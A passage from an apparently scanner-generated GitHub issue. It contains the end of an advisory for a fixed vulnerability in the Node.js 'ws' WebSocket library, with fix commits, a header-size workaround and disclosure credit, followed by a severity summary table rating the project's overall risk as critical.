The vulnerability was fixed in [email protected] (websockets/ws@00c425e) and backported to [email protected] (websockets/ws@78c676d) and [email protected] (websockets/ws@76d47c1).

Workarounds

In vulnerable versions of ws, the issue can be mitigated by reducing the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options.

Credits

The vulnerability was responsibly disclosed along with a fix in private by Robert McLaughlin from University of California, Santa Barbara.
(CVSS: 5.300000190734863)

Bearer SAST Analysis Results

No security findings detected

Scharf Supply Chain Analysis Results

No supply chain risks detected

Summary

Severity Count
Critical 21
High 85
Medium 81
Low 15
Total 202

Overall Risk Level: CRITICAL


Generated by CodeReaper Security Scanner

Metadata

Metadata

Assignees

Labels

criticalCritical security issues requiring immediate attentionimmediate-actionRequires immediate actionsecuritySecurity related issues

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions